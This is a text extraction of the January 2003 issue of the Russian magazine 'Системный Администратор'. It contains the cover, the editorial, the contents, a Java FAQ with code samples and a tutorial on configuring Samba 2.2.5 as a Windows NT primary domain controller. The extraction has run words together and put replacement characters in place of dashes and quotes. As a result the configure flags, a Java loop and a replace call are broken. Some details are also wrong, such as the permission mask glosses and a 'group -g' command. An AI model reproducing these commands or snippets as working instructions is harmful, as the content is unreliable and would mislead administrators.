98
Пингвин идет в школу Тема номера: Безопасность Взгляд на свою сеть глазами хакера Обзор техник компьютерных атак и защиты от них SAMBA вместо PDC Киберкоп, или Конец виртуального мира Теория и практика OpenSSL журнал для системных администраторов, вебмастеров и программистов №1(2) январь 2003 Тема номера: Безопасность Киберкоп, или Конец виртуального мира Обзор техник компьютерных атак и защиты от них Взгляд на свою сеть глазами хакера Теория и практика OpenSSL SAMBA вместо PDC Пингвин идет в школу

002 Системный Администратор 01 2003

Embed Size (px)

DESCRIPTION

Теория и практика OpenSSL Обзор техник компьютерных атак и защиты от них Киберкоп, или Конец виртуального мира Пингвин идет в школу Тема номера: Безопасность Тема номера: Безопасность Взгляд на свою сеть глазами хакера Взгляд на свою сеть глазами хакера №1(2) январь 2003 Уважаемые читатели! Мы с радостью представляем вам первый в этом году выпуск журнала, который теперь будет выходить ежемесячно.

Citation preview

Page 1: 002 Системный Администратор 01 2003

Пингвин идет в школу

Тема номера: Безопасность

Взглядна свою сеть

глазамихакера

Обзор техник компьютерных атак и защиты от них

SAMBA вместо PDC

Киберкоп, или Конец виртуального мира

Теория и практика OpenSSL

журнал для системных администраторов, вебмастеров и программистов

№1(2) январь 2003

Тема номера: Безопасность

Киберкоп, или Конец виртуального мира

Обзор техник компьютерных атак и защиты от них

Взглядна свою сеть

глазамихакера

Теория и практика OpenSSL

SAMBA вместо PDC

Пингвин идет в школу

Page 2: 002 Системный Администратор 01 2003
Page 3: 002 Системный Администратор 01 2003

Уважаемые читатели!Мы с радостью представляем вампервый в этом году выпуск журнала,который теперь будет выходить ежемесячно.

Прошедший год ознаменовался невиданным в нашей стране ростоминтереса к проблемам информационной безопасности. Можно сказать,что он прошел под знаком “Информационная безопасность”.

«Знал бы где упасть – соломки подстелил» или «Эх, как же я не успелэтот баг исправить» – кто из нас так не думал после первого успешноговзлома системы, за которой вы ведете наблюдение. Наблюдение за бе-зопасностью системы, просмотр лог-файлов, тестирование своей сис-темы на уязвимость с помощью специализированного программногообеспечения начинаются только после того, как в первый раз мы полу-чаем по голове. А такое случается очень быстро – стоит оставить дос-тупной из Интернета машину с настройками безопасности «по умолча-нию», потому что практически любая система с подобными настройка-ми открывает широкие двери для любого, желающего проверить ее за-щиту. И потом начинаются неприятности – непонятные счета за гигабай-тный трафик, требования от провайдера прекратить спам и многое дру-гое. И почему-то все забывают, что предотвращение взлома – задачаболее легкая, чем устранение его последствий. Ведь существует массапрограммного обеспечения, написанного для защиты и оповещения обатаках, позволяющего мгновенно отреагировать на вторжение и при-нять меры. Об этом-то и пойдет речь в номере.

Искренне ваш,Александр Михалев

Page 4: 002 Системный Администратор 01 2003

2

оглавление

Создание PDC(основного контроллера домена)

для Windows на базе SAMBA 2.2.5Ловкость рук и никакого мошенничества: работа

SAMBА вместо PDC.Андрей Гуселетов

[email protected]

Абсолютно все о Х.25Сегодня наиболее распространенными среди огром-

ного количества сетевых технологий являются сети, по-строенные по стандарту Х.25.

Сергей Ропчан[email protected]

12

Теория и практика OpenSSLВ связи с бурным развитием информационных

технологий и компьютерных сетей многих стали бес-покоить вопросы безопасности передаваемых по сетиданных. Для решения этой проблемы обычно исполь-зуют криптографические методы. Об их применении ипойдет речь.

Всеволод Стахов[email protected]

16

Ы.Ы.Р.Для удалённого логина на *nix-сервере традицион-

но используется ssh-протокол, позволяющий организо-вать безопасную передачу по потенциально опасным ка-налам связи. Автор описывает особенности работы инастройки второй версии протокола ssh, рассматриваетметоды беспарольной и host-based аутентификации,проблемы безопасности и возможные их решения.

Всеволод Стахов[email protected]

28

Общий обзор наиболее часто применяемыхтехник компьютерных атак и защиты от них

Александр Потемкин[email protected]

34

Сравнение сетевых сканеров безопасностиВзгляд на свою сеть глазами хакера.

Дмитрий НиксовПетр Рудель

[email protected]

Минимум усилий на защиту DNSХотя настройка службы доменных имен всегда носи-

ла нетривиальный характер, настройка безопасностиданной службы игнорируется большинством системныхадминистраторов в целом как явление. Как обеспечитьбезопасность службы DNS?..

Сергей Ропчан[email protected]

48

Защитим электронную почту!При почтовой переписке многие желают конфи-

денциальности и удостоверения личности в письмах. Дляэтого в почтовые клиенты встроена возможность шиф-ровать или подписывать сообщения. Как это сделать?

Всеволод Стахов[email protected]

50

Киберкоп, или Конец виртуального мираИнтервью с Александром Слуцким, начальником пер-

вого отдела управления по борьбе с преступлениями всфере высоких технологий при ГУВД г. Москвы.

Дмитрий Аксенов54

АДМИНИСТРИРОВАНИЕ БЕЗОПАСНОСТЬ

Page 5: 002 Системный Администратор 01 2003

3№1(2), январь 2003

оглавление

Пингвин идет в школуСистема образования некоторых стран уже перехо-

дит с проприетарной платформы на свободную. А чтоможет дать российским школам переход на Linux?

Сергей Голубев[email protected]

88

Доступный Linux в каждую школу!Популяризация Linux связана не только с его доступ-

ностью и дешевизной, но и открывающимися возмож-ностями. Однако человек, привыкший видеть перед со-бой интерфейс ОС Windows, вряд ли сможет быстро ос-воиться и в ОС Linux. В предлагаемой статье рассмат-ривается способ настройки интерфейса ОС Linux близ-ко похожим к интерфейсу ОС Windows, что практическиуже внедрено в некоторых школах.

Виктор МельниковАндрей Шевченко[email protected]

92

FFFFFAQ JAAQ JAAQ JAAQ JAAQ JAVVVVVAAAAA4, 15, 95

BUGTRAQBUGTRAQBUGTRAQBUGTRAQBUGTRAQ27, 58

История одной разработки, илиКак мы делали siteMETA

Существующие на рынке системы предлагают различ-ные решения проблемы организации поиска по сайту, од-нако сказать, что рынок насыщен качественными и приэтом экономичными решениями, нельзя. Описываемая встатье поисковая система SiteMETА – это попытка укра-инской компании Мета дать надежный и доступный инст-румент для решения всего комплекса «поисковых» про-блем для веб-мастеров и администраторов сайтов.

Андрей Коваленко[email protected]

60

Javа: магия отражений (часть II)ClassLoader - скрытые возможности

Даниил Алиевский[email protected]

64

Управление сессиями в ColdFusion, илиЗдравствуйте, я - ваша тетя

Александр Меженков[email protected]

78

БрандмауэрКаждый, кому приходилось обеспечивать безопас-

ность сети, прекрасно знает, что без надежного бранд-мауэра обойтись просто невозможно, и что его грамот-ная настройка требует от администратора глубоких зна-ний, опыта, терпения и времени. Однако многие ли ин-тересовались вопросами внутреннего устройства и прин-ципами функционирования брандмауэра? Предлагаемвам заглянуть «внутрь» простого брандмауэра и совер-шить путешествие по его исходному коду.

Владимир Мешков[email protected]

82

ПРОГРАММИРОВАНИЕ ОБРАЗОВАНИЕ

Page 6: 002 Системный Администратор 01 2003

4

FAQ JAVA

ВОПРОС:При автоматической конверсии вещественного числа

в строку получается десятичная запись с максимальнойвозможной точностью. Например, оператор Math.PI+""выдает строчку 3.141592653589793.

Такое поведение обычно неудобно. Как получить де-сятичную запись вещественного числа с заданным чис-лом знаков после десятичной точки?

ОТВЕТ:Использовать класс java.text.DecimalFormat.Ниже приведен текст функции, возвращающей деся-

тичную запись числа с заданным числом знаков последесятичной точки:

public static String toS(double v, int d) { return toS(v,d,false); } public static String toS(double v, int d, boolean exponentForm) // Параметр exponentForm позволяет получить // экспоненциальную форму записи { StringBuffer ptn= new StringBuffer("0"); if (d>0) { ptn.append("."); for (; d>0; d�) ptn.append("0"); } if (exponentForm) ptn.append("E0"); DecimalFormat f= new DecimalFormat( ptn.toString()); return f.format(v).replace(",",�.�); // без replace мы рискуем в некоторых // странах - например, в России - получить // десятичную запятую, а не точку }

ВОПРОС:Как обеспечить автоматическое выполнение некото-

рых действий при завершении Java-программы (закры-тии виртуальной машины Java)?

ОТВЕТ:

В частном случае, когда требуется при завершениипрограммы удалить некоторый временный файл или (пу-стой) подкаталог, можно использовать методdeleteOnExit() класса File.

ВНИМАНИЕ!Фирма Sun, разработчик Java, НЕ ГАРАНТИРУЕТ ис-

полнения каких бы то ни было механизмов, предназна-ченных для исполнения некоторого кода при завершенииJava-программы, включая методы finalize, техникуaddShutdownHook или deleteOnExit. Как правило, в нор-мальных условиях эти действия исполняются, но програм-ма не должна перестать функционировать, если этого непроизойдет.

Runtime.getRuntime().addShutdownHook(new Thread() { public void run() { необходимые действия; } });

ВОПРОС:Фирма Sun и многие поклонники языка Java утверж-

дают, что при использовании современных Java-машинбыстродействие программ на Java не уступает быстро-действию эквивалентных программ на языках C, С++ иPascal. Верно ли это?

ОТВЕТ:Никогда не полагайтесь на рассуждения о быстро-

действии, особенно столь общего характера! Если длявас эффективность действительно важна, обязатель-но проверьте, какой скорости исполнения вашего кри-тичного по времени программного кода можно добить-ся на других языках, в частности на ассемблере. Еслиразница с Java будет существенной – воспользуйтесьnative-кодом (хотя бы для самых популярных аппарат-ных платформ).

Современные технологии Just-In-Time и HotSpot даютнекоторую уверенность, что вычислительный Java-код,интенсивно работающий с числами и массивами чисел,скорее всего не будет отставать по скорости от языка Cв 10-100 раз – как это было на заре развития Java. Ноотставание в полтора-два и даже в несколько раз впол-не возможно. Опережение же – весьма маловероятно.

Приведем пример. Даны 2 массива a и b коротких це-лых чисел (short) длины 20000. Требуется для каждойпары соответствующих элементов вычислить минимуми поместить его в массив a: a[k]= a[k]<b[k]? a[k]: b[k].

Решаем задачу на чистой Java и с применениемnative-кода на языке C. В обоих случаях цикл «расцик-ливаем», чтобы по возможности исключить потери наинкремент индекса. Для Java «расцикленное» опти-мальное решение выглядит примерно так:

Измерения быстродействия на компьютере Pentium-III800 MHz с кэшем процессора 256 Kb показывают: еслиоба массива попадают в кэш процессора, то цикл на Javaрасходует 11.5 наносекунд на элемент, а на C++ – всего 6наносекунд. (Использовался комплект Sun Java SDK1.4.1 и компилятор Microsoft C++ из пакета Visual Studio6.0, операционная система Windows 2000.) Если при-менить встроенный ассемблер C++ и специальные ко-манды MMX/SSE, то время можно сократить до 1.4 на-носекунды на элемент – в 8 раз быстрее чем наилуч-шее время в Java.

Если массивы существенно длиннее и не помещают-ся в кэш процессора, то разница между Java, C и ассем-блером будет меньше: 25нс на Java, 19нс на С и 12нс наассемблере с использованием команд MMX/SSE. (Все этицифры, разумеется, чисто ориентировочные – на разныхкомпьютерах возможны заметные отличия.)

for (; aofs<aofsmax; aofs+=4,bofs+=4) { if (a[aofs]>b[bofs]) a[aofs]=b[bofs]; if (a[aofs+1]>b[bofs+1]) a[aofs+1]=b[bofs+1]; if (a[aofs+2]>b[bofs+2]) a[aofs+2]=b[bofs+2]; if (a[aofs+3]>b[bofs+3]) a[aofs+3]=b[bofs+3]; }

Составил Даниил Алиевский

Page 7: 002 Системный Администратор 01 2003

АДМИНИСТРИРОВАНИЕ

Page 8: 002 Системный Администратор 01 2003

СОЗДАНИЕ PDC(ОСНОВНОГО КОНТРОЛЛЕРА ДОМЕНА)

ДЛЯ WINDOWSНА БАЗЕSAMBA 2.2.5Не то чтобы настало время фанатиков от OpenSource, но всё-таки цена программного обеспечения имеетзначение. Кроме того, если раньше ПО, построенное по технологии открытых исходников, было уделом узкихспециалистов, то сейчас оно стало гораздо удобнее в использовании, появляются дружелюбныеинсталляционные скрипты, толковая документация и т. д. Люди вроде Столмена и Линуса, которые такжеборятся за OpenSource, зачастую вдохновляют окружающих своими идеями (впрочем, последний в меньшейстепени). И эти самые окружающие (мы с вами) своим энтузиазмом двигаем всё это вперед.Я надеюсь. Итак, разговор пойдет о Samba.

АНДРЕЙ ГУСЕЛЕТОВ

СОЗДАНИЕ PDC(ОСНОВНОГО КОНТРОЛЛЕРА ДОМЕНА)

ДЛЯ WINDOWSНА БАЗЕSAMBA 2.2.5

Page 9: 002 Системный Администратор 01 2003

7№1(2), январь 2003

администрированиеадминистрирование

> rpm -ivh samba-2.2.5.rpm

> cd samba-2.2.5/source

> tar xvzf samba-2.2.5.tar.gz

Samba – ПО, построенное по идеологии открытых ис-ходников, которое позволяет на базе компьютера, ра-ботающего под управлением операционной системыUNIX, создать ресурсы, доступные для Windows-машин.Фактически, SAMBA – это UNIX-реализация протоколовSMB или CIFS фирмы Microsoft, предназначенных длядоступа по сети к файлам и принтерам компьютеров,работающих под управлением MS Windows. Кроме того,Samba также может действовать как основной контрол-лер домена на уровне Microsoft Windows NT 4.0 Server.Когда я стал это настраивать, то столкнулся с массоймелких нюансов, нигде ранее не описанных; вот я и хочупомочь всем тем, кто будет делать то же самое – ис-пользовать Samba в качестве PDC.

Начальные требованияВам понадобится компьютер, работающий под управле-нием ASPLinux 7.2. Впрочем, для RedHat 7.2 всё будетабсолютно также, те же пути и те же методы настройки.Я выбрал ASPLinux, так как это достаточно дружелюб-ный и толковый русский дистрибутив, основанный наRedHat. Кроме того, он довольно-таки распространен иесли вы захотите всё это точка в точку повторить, тонайти ASPLinux будет просто. Там, где какие-то разли-чия всё же имеются, я о них расскажу.

ИнсталляцияСкачиваем SAMBA-2.2.5.rpm для RedHat 7.2 с samba.org.После чего даем команду:

Если всё прошло нормально (а с чего бы ему пойти нетак), продолжаем далее, иначе – смотрите, что у васпошло не так, обычно диагностические сообщения ме-неджера пакетов помогают. Посмотрим, что у нас по-лучилось. Итак,! man-файлы пошли куда положено – в man;! запускаемые файлы и библиотеки – в /usr/sbin;! конфигурационные файлы – в /etc/samba;! ну и еще есть SWAT (средство администрирования

SAMBA через Web-интерфейс).

Впрочем, вы можете всё собрать и из исходников, ятакой путь и предпочитаю, но для начала Samba прощепоставить из пакета. Для желающих повторить:! скачиваем samba-2.2.5.tar.gz;! даем команду:

! переходим в каталог с конфигурационными скрипта-ми:

! и запускаем конфигурирование (всё в одну строчку!):

> make

> ./configure �prefix=/usr \> �bindir=/usr/bin \> �sbindir=/usr/sbin \> �libexecdir=/usr/libexec \> �datadir=/usr/share/samba \> �sysconfigdir=/etc/samba \> �with-msdfs \> �with-configdir=/etc/samba \> �with-winbind

> make install

Ключевые вещи здесь такие: мы хотим, чтобы бинар-ники были разложены по директориям /usr/bin и /usr/sbinи, кроме того, чтобы все конфигурационные файлы былив каталоге /etc/samba. Если же всего этого не сказать,то по умолчанию Samba станет в /usr/local/samba. И тамже, в /lib, будет искать конфигурационные файлы. Мнеэто кажется несколько неудобным, я предпочитаю хра-нить все конфигурации либо в /etc, либо в /usr/local/etc(если под FreeBSD). И еще одно: обратите также внима-ние на параметр with-msdf, который определяет под-держку Microsoft Distributed File System, вполне возмож-но, что она вам пригодится. Далее делаем

потом

Готово: всё на своих местах. Если что-то пошло не так,еще раз внимательно читайте вывод make! Впрочем,хотел бы обратить внимание вот на что: если говоритьо версии 2.2.5 – то всё нормально, а вот версия 2.2.4 уменя в некоторых случаях не воспринимала параметрыпутей к конфигурационным файлам, и приходилось,после того как configure отработает, руками правитьmake-файл. Так что имейте это в виду.

КонфигурированиеНу вот, Samba поставлена, теперь займемся её конфи-гурированием. Если вы ставили её из rpm, то у вас ужеимеются все необходимые конфигурационные файлы вкаталоге /etc/samba. А вот если вы её собирали из ис-ходников, то всё придется делать ручками. Впрочем, нерасстраивайтесь. Мы тоже всё будем делать с самогоначала. Основной конфигурационный файл Samba –smb.conf. Сохраняем его на всякий случай: cd /etc/sambacp smb.conf smb.conf.bak.

После чего очищаем smb.conf и вбиваем туда все,что нам нужно. Структура этого файла очень проста.Он состоит из двух секций: [global], в которой описановсё, что касается настройки программы в целом, и«shares», где перечислены все создаваемые вами об-щедоступные ресурсы. Описание каждого ресурса на-чинается с его названия в квадратных скобках, напри-мер, [homes], а далее следуют различные опции: путь,права доступа и пр. Некоторые опции дублируются и вглобальной секции, и в каждом ресурсе; причем если вкаком-то ресурсе значение опции явно не указано, тоберутся соответствующие данные из секции [global].Если и там их нет, то – по умолчанию. А вот если вам

Page 10: 002 Системный Администратор 01 2003

8

администрирование

; PDC settingsos level = 64domain master = yespreffered master = yeslocal master = yes

; Security settingssecurity = userencrypt passwords = yesdomain logons = yeshosts allow = 127.0.0.1 10.150.150.

# /etc/samba/smb.conf# SAMBA configuration file# Created by GUS 04.08.2002# Last updated : 05.08.2002 by GUS

[global]

; Basic setting for our server; NetBIOS name for our servernetbios name = DREAM; workgroup name, here - DOMAIN NAMEworkgroup = DREAMHOUSE; server description stringserver string = DREAMHOUSE Primary Domain Controller running

Samba %v

; Various logon settings

; path - where to store user profileslogon path = \\%N\profiles\%u; home directory - where it is, and where it should be

mountedlogon drive = Z:logon home = \\homes\%u; default domain logon script - generic script for all users; NOTE : this is relative !!! DOS !!! path to the [netlogon]

sharelogon script = start.cmd

надо, то вы можете перекрыть для некоторых ресурсовзначения, выставленные в секции [global], в явном видепрописав нужные опции в описании этих ресурсов.

Я надеюсь, что вы уже определились с именем, кото-рое дадите своему домену, если нет – то самое времяэто сделать. Начинаем:

Теперь по порядку:! netbios name = DREAM – наш компьютер будет ви-

ден в Windows-сети под названием «DREAM». Кста-ти, вы можете ничего тут и не писать: если в целомсетевые настройки вашего компьютера правильны,то SAMBA подставит его DNS-имя и будет чуднень-ко работать. Однако лучше подстраховаться, пото-му что для более ранних версий SAMBA это может ине работать;

! workgroup = DREAMHOUSE – название нашего до-мена, причем названия компьютера и домена не дол-жны совпадать, их, конечно, можно сделать одина-ковыми, но работать нормально оно тогда не будет!

! server string = DREAMHOUSE Primary Domain Controllerrunning Samba %v – это описательная строка, кото-рая будет видна при просмотре сети с Windows-ком-пьютеров. Можете писать тут что угодно, в моем слу-чае написано PDC какого это домена, и что он рабо-тает под Samba версии %v, где %v возвращает вер-сию SAMBA.

Обратите внимание на то, что комментариев в кон-це строк нет, SAMBA плохо к этому относится, и лучшевсего их вынести либо на строку выше, либо на строкуниже – это смотря что вы предпочитаете.

Далее добавляем в smb.conf следующее:

Вкратце можно сказать вот что: в один момент времени всети существует какой-то компьютер, который содержитсписок всех активных в данный момент компьютеров, вотэта машина и называется в английском языке local masterbrowser, естественно, просто так local master browser’омне становятся: по мере включения и выключения компью-теров проводится процедура выбора, в которой одна измашин побеждает и становится master browser’ом. Про-цедура выбора в частности основывается на 4 приведен-

ных параметрах (чем выше OS Level, тем выше шансы) ивремени. Кроме того, выборы проводятся и по алфавит-ному порядку NetBIOS-имени компьютера, но это в пос-леднюю очередь. Параметр domain master, в частности,говорит SAMBA изображать основной контроллер домена.

Следующим этапом будет добавление некоторых на-строек касательно безопасности:

где! security = user – обязательно должно быть user для

SAMBA, работающей в качестве основного контрол-лера домена, на самом деле, как говорится в ори-гинальном SAMBA-PDC-FAQ, здесь может быть иSERVER и DOMAIN, но не может быть SHARE, одна-ко подробное объяснение этих параметров будетздесь явно лишним. Кому интересно – можете либопоискать это в документации по SAMBA, либо свя-зывайтесь со мной;

! encrypt passwords = yes – включить использованиешифрованных паролей, т.е. не посылать их по сетиоткрытым текстом, вообще-то специальные методыработы с паролями применяют только NT-семействоWindows (начиная с NT4.0+SP3), Windows Me. Опятьже, хочется подробнее – ищите в документацияхMicrosoft или Samba;

! domain logons = yes – включает поддержку автори-зации в домене;

! hosts allow = 127.0.0.1 10.150.150. – список адресовотдельных компьютеров и подсетей (обычно, конеч-но, подсетей), которые могут использовать вашSAMBA-сервер. Вообще-то, 127.0.0.1 (localhost) пи-сать совсем не обязательно, но вот FAQ по SAMBAговорит обратное, да и мой опыт показал то же са-мое – лучше написать.

Настроим различные параметры авторизации:

Теперь по порядку:! logon path = \\%N\profiles\%u – путь к месту хране-

ния профиля подключившегося пользователя;! logon drive = Z: – буква диска, под которым будет

автоматически подключена директория, находяща-яся по пути logon home;

! logon home = \\homes\%u – путь к «домашней», т.е.личной директории пользователя;

Page 11: 002 Системный Администратор 01 2003

9№1(2), январь 2003

администрирование

read only = yeswrite list = admin

; User�s profiles[profiles] path = /home/samba/profiles create mask = 0600 directory mask = 0700 browseable = No

; User�s home directories[homes] comment = Home Directories valid users = %S read only = No create mask = 0664 directory mask = 0775 browseable = No

; Netlogon share[netlogon] comment = Network logon service path = /home/netlogon browseable = No

; Printers[printers] comment = All Printers path = /var/spool/samba printable = Yes browseable = No

! logon script = start.cmd — это командный файл, ав-томатически запускаемый при входе пользователяв домен.

Обратите внимание на две важные вещи: во-первых,это путь относительно ресурса общего доступаNETLOGON предоставляемого КАЖДЫМ контроллеромдомена. Во-вторых, этот файл выполняется на сторонеклиента, а соответственно должен иметь такое расши-рение, чтобы клиентская ОС узнавала его как выпол-няемый, т.е. в общем случае это *.BAT-файлы, а дляNT – *.CMD-файлы.

Всё, с секцией [global] мы покончили, освежевали ипереварили, на очереди – «shares» или, говоря самыммогучим языком мира, – общедоступные ресурсы.

Секция описания общедоступных ресурсов:

Секция [netlogon] создаёт служебный ресурс для уда-ленного администрирования. В основном этот ресурсиспользуется администраторами для различных изме-нений реестра. Его нужно и удобно использовать со-вместно со стартовым скриптом.

Здесь опять же:! comment = Network logon service – это комментарий

к ресурсу, который вы можете увидеть рядом с име-нем ресурса в проводнике на Windows-машине;

! path = /home/netlogon – путь к ресурсу;! browseable = No – ресурс не является просматривае-

мым по сети, фактически, его могут увидеть толькопользователи с правами администратора домена.

Стоит отметить, что некоторые администраторыпредпочитают в описание этого ресурса добавить ещеи строчки:

Таким образом, строкой read only = yes ресурс объяв-ляется всем пользователям только для чтения, а стро-кой write list = admin, некоему гипотетическому админи-стратору дается право записи.

Следущий ресурс – «homes»:

Это тот ресурс, в котором создаются пользовательскиедиректории, здесь пользователь, естественно, имеетсмысл – «пользователь домена».

По порядку:! comment = Home Directories – это я уже говорил –

комментарий к ресурсу, который вы можете увидетьрядом с именем ресурса в проводнике на Windows-машине;

! valid users = %S – допускаются только пользователидомена;

! read only = No – ресурс предназначен для записи, ане только для чтения;

! create mask = 0664 и directory mask = 0775 – их сле-дует рассматривать только вместе – подобным об-разом указанные маски не дают пользователю выб-раться выше уровня своей домашней директории.Более детальное рассмотрение данного пункта здесьделать не будем, интересно – пишите;

! browseable = No – и наконец, этот ресурс не просмат-ривается по сети (естественно, незачем обычнымпользователям видеть всю папку с пользовательс-кими директориями).

Вот очень важный ресурс, особенно если вы собирае-тесь реализовать перемещаемые профили пользовате-лей. В этом ресурсе описываются пути и маски созда-ния пользовательских профилей.

Давайте разберемся с каждой строчкой:! path = /home/samba/profiles – путь к профилям;! create mask = 0600 и directory mask = 0700 – опять

же, рассматриваются только вместе, вот тут давай-те поподробнее:

� маска создания – 0600 – это есть rwx-xxx-xxx, т.е.только пользователь может читать и писать фай-лы сюда, маска директорий;

� 0700 – rwx-xxx-xxx – директории должны быть за-пускаемыми, если их нужно просматривать.

! browseable = No – а вот сам ресурс пользователямвидеть ну совершенно не обязательно. Что этойстрочкой мы и делаем.

Примечание: будьте очень аккуратны с этим ресур-сом, так как Windows NT и Windows 9x по-разному реа-лизуют профили, и, соответственно, могут наблюдатьсяконфликты и различные необъяснимые файлы и ошиб-ки. Фактически, Windows 9x помещают профиль не в этудиректорию, а в домашнюю директорию пользователя.

Последний ресурс:

Здесь описываются общие настройки принтеров. К со-жалению, детальное описание настройки принтеров дляпечати из-под Windows на SAMBA-машину я не смогу

Page 12: 002 Системный Администратор 01 2003

10

администрирование

> smbpasswd -e gus

> smbpasswd -a gus> New SMB password:> Retype new SMB password:> Added user gus

> useradd gus> passwd gus> New password:> Retype new password:> passwd: all authentication tokens updated successfuly

> group -g 200 admins> group -g 201 machines

; UNIX password syncingunix password sync = Yespasswd program = /usr/bin/passwd %upasswd chat = *New*UNIX*password* %n\n

*Retype*new*UNIX*password* %n\n *Enter*new*UNIX*password* %n\n*Retype*new*UNIX*password* %n\n *passwd:

*all*authentication*tokens*updated*successfully*

> groupadd -g 200 admins

> mkdir -m 0775 /home/netlogon> chown root.admins /home/netlogon

> mkdir /home/samba /home/samba/profiles> chown 1757 /home/samba/profiles

> groupadd -g 201 machines

сделать. Халтурить мне не позволяет совесть, а сде-лать так как надо – это было бы очень объемно. Но еслибудут пожелания – можно будет сделать отдельную ста-тью, посвященную целиком этому вопросу.

Кратко:! comment = All Printers – комментарий ресурса;! path = /var/spool/samba – путь к каталогу спулера пе-

чати;! printable = Yes – сюда можно печатать;! browseable = No – этот ресурс непросматриваемый.

Вроде бы всё. Но к редактированию этого файла мыеще вернемся. Сейчас сделаем необходимые директо-рии и пользователей и – пробный запуск.

Создание необходимыхадминистративных директорийПредпочтительно сделать две группы пользователей(UNIX-группы!), одну – для адмнистраторов, другую – длякомпьютеров (да, именно так, компьютер как член доме-на Windows NT, а в нашем случае – SAMBA, для UNIXвыглядит просто как пользователь, с особенным обра-зом заданным именем и паролем). GID следует выбратьтак, чтобы его значение не конфликтовало с другимиидентификаторами групп в вашей системе, поскольку мыпредполагаем установку на «свежепроинсталлирован-ный» ASPLinux, то безопасным будет взять 200 и 201.

Группу администраторов назовем admins:

а группу с именами машин назовем machines:

Обратите внимание – для RedHat Linux (а не дляASPLinux) эти команды выглядели бы так:

Следующим шагом будет создание необходимых ди-ректорий и – самое главное – верных прав на них:

Надеюсь, здесь всё прозрачно, владелец – root из группыadmins, чётко это запомните, потому как позднее, уже приприсоединении машины к домену это вам понадобится.

На директорию /home/samba/profiles, как я уже говорилвыше про пользовательские директории, сделаны та-кие права, чтобы пользователь не выходил за пределыотведенной ему иерархии и случайно или преднамерен-

но не повредил информацию других пользователей.

Создание пользовательскихи машинных «бюджетов»Слово «бюджет» я избрал для замены англоязычноготермина account, мне кажется, что этот вариант наибо-лее подходящий по смыслу.

Начнем с более простого – создания бюджетапользователя. Создание бюджета пользователя прохо-дит в два этапа. Вам нужно:! создать бюджет пользователя в UNIX;! повторить те же действия для самой SAMBА.

И не забудьте – это всё еще и нужно будет поддержи-вать в синхронизированном виде!

Приступим: сделаем пользователя «gus» сначала всистеме:

теперь в SAMBА:

Один нюанс: иногда, и это зависит от версии SAMBA,пользователь добавляется в домен, но в состоянии «вык-лючен». И его бюджет нужно принудительно включить сле-дующей командой:

Теперь, в случае если пользователь захочет сменитьсвой пароль с Windows-машины, то произойдет следую-щее: SAMBA-то у себя его поменяет, а вот в UNIX’е оностанется старым. Что делать? К счастью, решение есть.

Синхронизация пользовательскихданных между SAMBA и UNIXДля того чтобы это работало, следует внести в секцию[global] следующие строчки:

Обратите внимание на строку passwd chat: все, что послесимвола «равно», должно быть набрано в одну строку!

Создания бюджетов компьютеровДля создания бюджетов компьютеров может применять-

Page 13: 002 Системный Администратор 01 2003

11№1(2), январь 2003

администрирование

> nmbd -D> smbd -D

>smbpasswd -a -m machine_name

>/usr/sbin/useradd -g machines -d /dev/null -c «machinenickname» -s /bin/false machine_name$

> passwd -l machine_name$> Changing password for user machine_name$> Locking password for user machine_name$

> /usr/sbin/useradd -g machines -d /dev/null -c «machinenickname» -s /bin/false machine_name

> passwd -l machine_name> Changing password for user machine_name> Locking password for user machine_name

> vipw

add user script = /usr/sbin/useradd -d /dev/null -g machines-s /bin/false -M %u

ся два способа: ручной – перед присоединением компью-тера к домену; и автоматический – во время присоедине-ния компьютера к домену. Сразу нюанс: автоматическийспособ в том виде, в котором его реализацию предлага-ют создатели SAMBА, в ASPLinux не делается.

Вариант 1Ручное создание бюджетов машинВот тут начнем наоборот – для RedHat 7.2 всё просто –даем команду:

где machine_name – это имя машины, а после него – знакдоллара, это обязательно, и вот в этом-то и загвоздка.ASPLinux знак доллара не воспринимает. Поэтому делаем так:

затем

и руками редактируем файл паролей, (наш компьютер бу-дет последний), добавляем там к имени компьютера $.Вот тут-то вам и пригодится так рекомендуемое всеми дляUNIX знание редактора VI. Далее даем команду:

где machine_name – NetBIOS-имя машины; обратите вни-мание, что здесь имя машины без знака доллара, таккак SAMBА опознает, что это компьютер по ключу -m.

Внимание! После того как вы сделали бюджет компью-тера, настоятельно рекомендуется сразу же присоединитьэтот компьютер к домену! Почему? Потому что когда кли-ент подсоединяется к домену, он на самом деле поменяетпароль и так называемый «секрет» на SAMBА, т.е. некийуникальный ключ. Если вы этого сразу же не сделаете, тоимейте в виду: что тогда в этот промежуток времени в до-мен может подключиться любой компьютер с таким жеNetBIOS-именем. А это – огромная дырка в безопасности.

Вариант 2Автоматическое создание бюджетов машинДля RedHat 7.2 необходимо в секцию [global] файлаsmb.conf внести следующую строчку:

а вот для ASPLinux 7.2 – увы, если всё-таки хочется, товам придется самостоятельно написать скрипт или про-грамму, который (-ая) делает следующее:

! добавляет необходимого пользователя;! делает для него passwd -l;! блокирует базу паролей;! вносит необходимые изменения (добавляет знак $);! обновляет базу паролей и разблокирует её.

Этого мы здесь делать не будем, есть желание – пи-шите, поделюсь. Хотя я настоятельно рекомендую вмес-то этого использовать RedHat 7.2 либо 7.3, так как вASPLinux даже 7.3 таже самая проблема.

Один нюанс: в Samba 2.2.1-2.2.5 только учетная записьroot может быть использована для создания машинныхучетных записей. Следовательно, необходимо в SAMBАсоздать запись для root. Более ранние версии SAMBА яне проверял. Пароли root для UNIX и SAMBA должны раз-личаться по соображениям безопасности. И всё это – воп-реки FAQ по SAMBА, где такого не сказано, но работаетоно, по крайней мере, на текущую версию именно так.

Всё! Настройка закончена. Теперь запускаем SAMBА.Фактически SAMBА состоит из двух «демонов» – smbd

и nmbd. Первый из которых отвечает, собственно говоря,за ресурсы; а второй – за имена NetBIOS, поэтому добав-ляем в стартовые файлы следующие строчки:

и перегружаем компьютер. Почему я не говорю как этосделать? Потому что методов может быть много – я вооб-ще предпочитаю сделать отдельную директорию. Откудамой скрипт, помещенный в /etc/rc.d/rc.local, вылавливаетвсё и по очереди запускает – a’la FreeBSD. Возможно, выделаете по-другому, вот и не буду навязываться. Вот те-перь точно всё – работайте на здоровье.

